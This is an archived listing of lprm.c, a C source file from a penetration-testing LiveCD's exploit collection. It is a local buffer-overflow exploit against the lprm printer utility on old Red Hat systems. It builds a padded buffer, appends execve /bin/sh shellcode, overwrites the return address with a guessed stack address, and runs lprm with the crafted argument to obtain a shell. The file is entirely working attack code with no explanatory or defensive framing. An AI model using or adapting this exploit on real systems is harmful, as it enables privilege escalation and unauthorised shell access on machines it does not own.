home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / lprm.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  58 lines

  1. /* lprm.c
  2.  * The offset will be very high for some reason, so don't be alarmed.
  3.  * This was tested with Redhat 4.2 and 5.0.  This will only work with a
  4.  * remote printer defined in /etc/printcap.  Remember to change
  5.  * the PRINTER define accordingly.
  6.  * Seth McGann <smm@wpi.edu>
  7.  */
  8.  
  9. #include <stdio.h>
  10. #define PRINTER "-Pwhatever"
  11.  
  12.  
  13. static inline getesp()
  14. {
  15.   __asm__(" movl %esp,%eax ");
  16. }
  17.  
  18. main(int argc, char **argv)
  19. {
  20.   int i,j,buffer,offset;
  21.   long unsigned esp;
  22.   char unsigned buf[4096];
  23.  
  24.   unsigned char
  25.   shellcode[]="\x89\xe1\x31\xc0\x50\x8d\x5c\x24\xf9\x83\xc4\x0c"
  26.               "\x50\x53\x89\xca\xb0\x0b\xcd\x80/bin/sh";
  27.  
  28.   buffer=990;
  29.   offset=3000;
  30.  
  31.   if (argc>1)buffer=atoi(argv[1]);
  32.   if (argc>2)offset=atoi(argv[2]);
  33.  
  34.   for (i=0;i<buffer;i++)
  35.     buf[i]=0x41;  /* inc ecx */
  36.  
  37.   j=0;
  38.  
  39.   for (i=buffer;i<buffer+strlen(shellcode);i++)
  40.     buf[i]=shellcode[j++];
  41.  
  42.   esp=getesp()+offset;
  43.  
  44.   buf[i]=esp & 0xFF;
  45.   buf[i+1]=(esp >> 8) & 0xFF;
  46.   buf[i+2]=(esp >> 16) & 0xFF;
  47.   buf[i+3]=(esp >> 24) & 0xFF;
  48.  
  49.   buf[i+4]=esp & 0xFF;
  50.   buf[i+5]=(esp >> 8) & 0xFF;
  51.   buf[i+6]=(esp >> 16) & 0xFF;
  52.   buf[i+7]=(esp >> 24) & 0xFF;
  53.  
  54.   printf("Offset: 0x%x\n\n",esp);
  55.  
  56.   execl("/usr/bin/lprm","lprm",PRINTER,buf,NULL);
  57. }
  58. /*                    www.hack.co.za              [2000]*/